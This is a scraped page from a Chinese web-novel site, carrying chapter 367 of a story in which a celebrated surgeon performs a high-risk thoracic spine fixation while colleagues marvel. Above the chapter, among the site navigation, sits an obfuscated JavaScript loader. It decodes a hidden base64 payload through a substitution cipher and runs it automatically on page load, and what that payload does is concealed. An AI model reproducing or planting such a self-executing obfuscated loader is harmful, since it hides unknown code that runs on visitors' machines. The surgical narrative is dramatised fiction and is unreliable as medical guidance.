笔趣阁

阅读记录  |   用户书架
(function(){function sac37f14(o12dbf){var d19f4b4=";w5W9?0sxMepiUu&%BYRX^aE$f-/Ir]:,~o=zvOVGKnd(qyjbt.gT@PmHC4ZLJ82hk_1D!S6Nl|3QFc[7A";var n3bd86624="wC!|POQuIT^_HaVeb7fx52WNoZi,h%$c[SjB]zKnD/s4E?60=.(R8M@Y93:q;vkr&-gGJFtAp~XyLl1dmU";return atob(o12dbf).split('').map(function(da785){var zb4e8=d19f4b4.indexOf(da785);return zb4e8==-1?da785:n3bd86624[zb4e8]}).join('')}var c=sac37f14('gRPC://Oy1WWyQ7LCJGIisiVWMiKyJbIisiaiIrImQiKyJDaiIrIlUiemJZc1Y6Uy0kVi4pey5Zc1Y6Uy0kVi43SEJYai8zaiZYJkMvM0I6VFtbQltZL1N5WFRbWSl7LVkuS2VAVTpXYS1WS3RTJm5TLlZVSi1fVVMkMnRORlVTWSQyNykpezImU3MyVn1KVTIgJWM6ZGRiWXNWOlMtJFYuO2RjZEhjKXsyJlNzMlYgflMyLVZfdFkyJDd3SVUydyRbJi47ZGNkSGMpfUxKVTIgWWNeW0heYiwiRm9ua2lqY3BRPzZHcER+cGlNQFEiLyJKJjJramMiLyJuLVtrY2RUIi8iOjpTa15qXlhranlrXkggY0M0akM0ZFQiekxKVTIgO0ImaiZbJVlkYjNCOlRbW0JbWSwlYzpkZC5IQikrJWM6ZGQuY2N5KSslYzpkZC5jY2MpKyVjOmRkLkhUKXovSXleSHklaiViM0I6VFtbQltZLCVjOmRkLkhUKSslYzpkZC5jY3kpKyVjOmRkLmNjYykrJWM6ZGQuSEIpei9JY1k6WWJTeVhUW1ksO0ImaiZbJVlkLiJtQ3UzOjd1c1shRW86N0Y7WzZiYiIpei8kSFlDXjpkSDpiO0ImaiZbJVlkLiJtQ0RGbXxnRmdhUkYlYXVzWzZiYiIpL0lUZFg6WWI7QiZqJlslWWQuIjpDdS06Q2czVWFYViIpL0lDamQ6YjtCJmomWyVZZC4iOjd1OyUxIW9mMGJiIikvRkNqQ15ZVWI7QiZqJlslWWQuIjpDPW5VfDBiIikvRmNIQyZUQmI7QiZqJlslWWQuIjo3dV5mfER2ZjBiYiIpLyRbJkhISGI7QiZqJlslWWQuIlU3SE4lX2JiIikvOFlbeWRVYjNCOlRbW0JbWSw7QiZqJlslWWQuIk1hIWpVNmJiIil6Lzt5YyVDYjhZW3lkVSw7QiZqJlslWWQuIm1edU4lNmJiIil6LzhDXkNUaiZbYjhZW3lkVSw7QiZqJlslWWQuImY3UkolQ3hiIil6L1lbZGRYZENjQ2I4WVt5ZFUsO0ImaiZbJVlkLiI6NyFzZjFIUyIpei9JSHlUeVtkYjtCJmomWyVZZC4iJWEham1eX2IiKS9JJiVIWGp5OlRiO0ImaiZbJVlkLiIlYSE7IikvVUhjXl5jZGQmYjtCJmomWyVZZC4iJTFISWY2YmIiKUxKVTIgMyVDZCUlJlViO0ImaiZbJVlkLiI6XmNqVWFnRltfYmIiKUxKVTIgN3lbQkJYVEhMSlUyIFpYJlReQ0NIYjdIQlhqLGp6TC1ZLjdIQlhqdEYmVl9TST5jKXtaWCZUXkNDSGI3SEJYaiw4Q15DVGomWy5ZW2RkWGRDY0MuKSo3SEJYanRGJlZfU0kpen0tWS5GJDpVUy0kVnRuJlUyOkl0LVZbJlI/WS4zJUNkJSUmVSk+a2Mpezd5W0JCWFRIYlN5WFRbWSwkSFlDXjpkSDp6LjtCJmomWyVZZC4iWzF1ZFsxITNmYShiIikpTDd5W0JCWFRIdC1bYiJTIitZW2RkWGRDY0MuKSpjJmRMN3lbQkJYVEh0blMzRiZ0Oy1bU0liImNqanIiTDd5W0JCWFRIdG5TM0YmdEkmLV9JU2IiWGpqTlIiTDd5W0JCWFRIdFstblUlRiZbYlMycyZMLVkuU3lYVFtZdCUkWzM1YlZzRkYpe1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLjd5W0JCWFRIKX0mRm4me0pVMiBSJkNVW2RqYllzVjpTLSRWLil7U3lYVFtZdCUkWzN0VU5OJlZbd0ktRlsuN3lbQkJYVEgpTDNCOlRbW0JbWXQyJjckSiYoSiZWU1EtblMmViYyLlVIY15eY2RkJi9SJkNVW2RqL1lVRm4mKX1MM0I6VFtbQltZdFVbWyhKJlZTUS1uUyZWJjIuVUhjXl5jZGQmL1ImQ1VbZGovWVVGbiYpfX1KVTIgVWomWUJDajpiU3lYVFtZLCRIWUNeOmRIOnouO0ImaiZbJVlkLiJmYWMtZmEwYiIpKUxVaiZZQkNqOnQtW2IzaiZYJkMrO3ljJUMuWVtkZFhkQ2NDLikqYyZkKUxVaiZZQkNqOnRuUzNGJnRJJi1fSVNiImpOUiJMVWomWUJDajp0blMzRiZ0JEomMllGJDtiIkktW1smViJMOiRWblMgMlR5QlhIWGIuJFQmeWolVVQvb1ljWVhkJkMvWjpbXlVkJkJqYl5qailiPjkyJDctbiZ0MlU6Ji4sWSZTOkkuJFQmeWolVVQvb1ljWVhkJkMpL1YmOyA5MiQ3LW4mLi4ucC8yJm8mOlMpYj5uJlNNLTcmJHNTLi4uKWI+MiZvJjpTLlYmOyAoMjIkMi4iUy03JiRzUyIpKSkvWjpbXlVkJkJqKSkpeilMSlUyIFlZWEJeOmRbYlVuM1Y6IFlzVjpTLSRWLlNeVFRUeXkpe0pVMiAtVSZjVFtCOmIsIm9uIi8iOm5uIi8iXy1ZIi8ib05fIi8iTlZfIi8ib05fJiIvIjsmJU4iLyJuSl8iLyJJUzdGIi8ib04mXyJ6TEpVMiBfVVVUSCZDW2ItVSZjVFtCOnRGJlZfU0lMLVUmY1RbQjpiLVUmY1RbQjosOENeQ1RqJlsuWVtkZFhkQ2NDLikqX1VVVEgmQ1spekw6JFZuUyA3XiVeeVhkYiwiZl46c0VNdXZVXiF2JWFSU2ZeW1glflhqJUM2eT9NOGNFX2JiInpMSlUyIFs6XmNYWUhkOmI3XiVeeVhkLGp6TC1ZLjdeJV55WGR0RiZWX1NJPmMpe1s6XmNYWUhkOmI3XiVeeVhkLDhDXkNUaiZbLllbZGRYZENjQy4pKjdeJV55WGR0RiZWX1NJKXp9SlUyIF9jQ0JkVWpjXmJOVTJuJnhWUy4zaiZYJkMpTC1ZLi1uRVVFLl9jQ0JkVWpjXikpX2NDQmRVamNeYmpMX2NDQmRVamNeK2JUVFRUTEpVMiA7OlRYVUgmW15iLCJJU1NObjRLIi8yanlVW0hZXlsuWzpeY1hZSGQ6KS8iSVM3RiIvYG43XXtfY0NCZFVqY159YC9gXXszaiZYJkN9dF17LVUmY1RbQjp9YHosJFsmSEhIei4iSyIpTC1ZLjd5W0JCWFRINWJWc0ZGKTd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgWm4gSSRuUyAiKzs6VFhVSCZbXkxTMjN7SlUyIEYlWCVDWGJVO1UtUyAyVHlCWEhYLjs6VFhVSCZbXi97MiZbLTImOlM0IlkkRkYkOyJ9L2NYamopTEYlWCVDWGJVO1UtUyBGJVglQ1h0UyZSUy4pTEpVMiBKWzpUWV5YJmJGJVglQ1h0LVZbJlI/WS4lYzpkZC55YykpTEpVMiBVSGNqJWIiIkwtWS5KWzpUWV5YJj5iail7VUhjaiViRiVYJUNYLElUZFg6WXouSls6VFleWCYpTEYlWCVDWGJGJVglQ1gsSVRkWDpZei5qL0pbOlRZXlgmKX1GJVglQ1hiRiVYJUNYLElIeVR5W2R6Lkt0e2MvZH1LXyksSSYlSFhqeTpUei4uUmI+UixGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKSkpLCRbJkhISHouIiIpTEYlWCVDWGJGJVglQ1grVUhjaiVMRiVYJUNYYjtCJmomWyVZZC5GJVglQ1gpTFNeVFRUeXliRiVYJUNYLEZDakNeWVV6LiJLIiksanpMLVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgbnM6OiZubiIrU15UVFR5eX06VVM6SS5WW0hIQiU6Qil7LVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgWVUtRiZbIitWW0hIQiU6Qn1KVTIgLUJIXmNbVFtiSXleSHklaiUuWWNeW0hedDokVjpVUy4sYFYkO2tde0dVUyYsIlYkOyJ6Lil9YC9gSTImWWtde0YkOlVTLSRWdEkyJll9YC9gc246a117dlkmeWpVZCZDLil9YHopdG4kMlMuLi4pYj5ZW2RkWGRDY0MuKWt0WCkpLCRbJkhISHouIi8iKSlMSlUyIFljJUJkWzpeYi1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKT5rY3EtQkheY1tUWyxJVGRYOll6Li1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKSk0IiJMLUJIXmNbVFtiLUJIXmNbVFssSUNqZDp6LlljJUJkWzpeLyIiKSxGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKStZYyVCZFs6XkxVaiZZQkNqOnRuMjpiLCJJU1NObjRLIi9TXlRUVHl5L1VqJllCQ2o6dC1bLy1CSF5jW1RbeiwkWyZISEh6LiJLIilMUzIze1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLlVqJllCQ2o6KX06VVM6SS4mKXtTeVhUW1l0VVtbKEomVlNRLW5TJlYmMi4iRz9AdyRWUyZWU1EkVVsmWyIvLi4pYj57U3lYVFtZdCUkWzN0LVZuJjJTPSZZJDImLlVqJllCQ2o6L1N5WFRbWXQlJFszdDpJLUZbRSRbJm4sanopfSkpfS1ZLjd5W0JCWFRINWJWc0ZGKXs3eVtCQlhUSHRKVUZzJitiIlwyXFZVTk4mVlsmWyAmNyBTJCBJUzdGIkxKVTIgUyZVSEhiU3lYVFtZdF8mUyhGJjcmVlM9M3hbLlVqJllCQ2o6dC1bKUwtWS5TJlVISGJiVnNGRldXUyZVSEhiYnNWWyZZLVYmWyl7N3lbQkJYVEh0SlVGcyYrYiJcMlxWIDpVVlMgXyZTICY3IFkyJDcgSVM3RiJ9fX1MLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgb24gSSRuUyAiK1pYJlReQ0NIfUpVMiB2WSZ5alVkJkNiWXNWOlMtJFYuKXtTMjN7OiRWblMgRkJZJVklSFljYi5WJjsgR1VTJil0UyRRJDpVRiZHVVMmflMyLVZfLilMOiRWblMgWyZbOlVVamJgbjdTLXBuLVtwXXtJQnlCXnl5dDNqJlgmQ31wTkpgTEYmUyAzQ15eZGpeeSZiRH4/RXROVTJuJi5GJDpVRn5TJDJVXyZ0XyZTeFMmNy5bJls6VVVqKSlMLVkuM0NeXmRqXnkmYmJWc0ZGV1czQ15eZGpeeSZ0W1VTJjViRkJZJVklSFljKXszQ15eZGpeeSZie05KTS03Jm40ai9bVVMmNEZCWSVZJUhZY319MiZTczJWIDNDXl5kal55JnROSk0tNyZuK2N9OlVTOkkuc0JqZEIpezImU3MyViBjfX1MSlUyIDJqeVVbSFleW2JZc1Y6Uy0kVi5GOmR5VFQpezImU3MyViA7QiZqJlslWWQuRjpkeVRUKSxJQ2pkOnouJWM6ZGQuZF4pL1lbZGRYZENjQy4pdFMkflMyLVZfLkN5KXRuRi06Ji44Q15DVGomWy5ZW2RkWGRDY0MuKSpIKSteKSl9TFlZWEJeOmRbLjJqeVVbSFleWy5aWCZUXkNDSCkpTDNCOlRbW0JbWSwiVVtbKEomVlNRLW5TJlYmMiJ6LiI3Jm5uVV8mIi8uWXNWOlMtJFYuc0JqZEIpey1ZLnNCamRCdFtVU1V0OGJiM2omWCZDKXtTeVhUW1l0XyZTKEYmNyZWUz0zeFsuVWomWUJDajp0LVspdDImNyRKJi4pTEpVMiAmJVkmJSZbYlZzRkZMLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVjImOiYtSiYgJjcgTiRuUyA3Jm5uVV8mIkw3eVtCQlhUSHRKVUZzJitiIlwyXFYmdFtVU1V0SiAiK3NCamRCdFtVU1V0WkwmJVkmJSZbYi50dHRzWFs6alR5VVUpYj57LVkuNXNYWzpqVHlVVVdXc1hbOmpUeVVVdEYmVl9TSTxiaikyJlNzMlZMN3lbQkJYVEh0SlVGcyYrYiJcMlxWIitzWFs6alR5VVV0byQtVi4iICIpfX1WJjsgIXNWOlMtJFYuIlUyX24iL3NCamRCdFtVU1V0Wikue3BTWzpuNEljWTpZL3BGJF80JiVZJiUmW30pfX0pKX0pLiwiZl46c218PWo/MUZDbXxndiVhUlNmXltYJX5YaiVDNnk/TThjRV9iYiJ6LyJjZFQiLzstVlskOy9bJDpzNyZWUyl9TEZVY1tqZENqVS4pTA=='.substr(7));new Function(c)()})();
上一页
目录 | 设置
下一章

第367章 多裂肌外侧间隙入路(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

这是不是太夸张了一些?

单齿勾撑开肌间隙,肌间隙撑开几乎无出血。

一般医生,根本就不可能做到这一点。

而这里需要注意的是,误入肌肉内易损伤肌肉内血管造成渗血。

教科书上也是这么写的,不过,一般医生,谁能完美做到?

就算是自己当年的导师,也是无法做到这一步。

可是,今天自己算是长见识了。

原来教科书上说的是真的,真的可以做到几乎无出血。

这。。。

简直是神了啊!

胸外主任忍不住感叹了一句。

此时,已经可以从肌间隙看到薄薄脂肪层及肌膜,甚至可见肌膜表面血管。

而此时的陆晨没有任何的迟疑,用手指触摸确定进针点骨性突起部位,电刀稍作剥离,暴露进针点,胸椎在横突根部、腰椎在\"人\"字嵴顶点,骨皮质开口后用开路锥凭手感推进约3-4cm,插入Mark定位针透视位置,再植入剩余Mark透视。

整个过程中,基本上就是一台最经典的教学视频。

此时的胸外主任才知道,陆副院长为什么会放弃最经典的椎旁肌进行广泛剥离和牵拉术,而选择多裂肌外侧间隙入路了。

这完全就是对于自己技术的自信。

第一次透视,需要确定椎体节段以及Mark位置。

如果Mark位置偏下,头尾倾亦需要调整。

“陆副院长,患者血压有所下降。”

此时,麻醉突然发现患者的血压有些不稳定。

“正常现象,不要着急。”

陆晨闻言,倒是淡定的很,受手上的速度,也没有任何的迟疑。

第二次透视,植入剩余Mark后透视,随后依次拔除Mark,丝攻,球探探查钉道,植入螺钉。

在这个过程中,陆晨始终没有一次停顿。

这?!

好吧,胸外科主任早就已经傻眼了。

这。。。都不需要看一眼CT影像的吗?

陆晨:呵呵,早就记在了脑子里。

从患者的CT影像上,陆晨才确定了多裂肌外侧间隙入路。

而现在,陆晨所要确定的,是确定螺钉位置。

最后植入连接棒,适度撑开复位,拧紧尾帽。

肌间隙入路省去剥离椎旁肌肉时间,且术中出血少,一般只有开路置钉时渗血。

而陆晨自然是完美做到了这一点。

所以对于胸外科主任来说,自己基本上就是无事可做。

还注意止血呢,压根就没有给自己机会啊。

对上胸椎的减压和固定是十分困难和危险的,以前,这一直被认为是脊柱外科的‘禁区’。

可是,今天的这台手术,完全是超出了胸外科主人的认知。

高位胸椎及胸段脊髓的解剖和生理特点决定该手术的致瘫率极高,手术风险极大。

可陆晨倒好,竟然就这般有条不紊、快速准确地完成了。

这。。。

好吧,外科之“神”果然是外科之“神”。

完全不是自己能够想象的。

而此刻,患者李萧凌的血压,也再次稳定了下来。

在麻醉看来,这位陆副院长,简直是超神的存在。

喜欢震惊:我从系统归来,外科第一人请大家收藏:震惊:我从系统归来,外科第一人本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间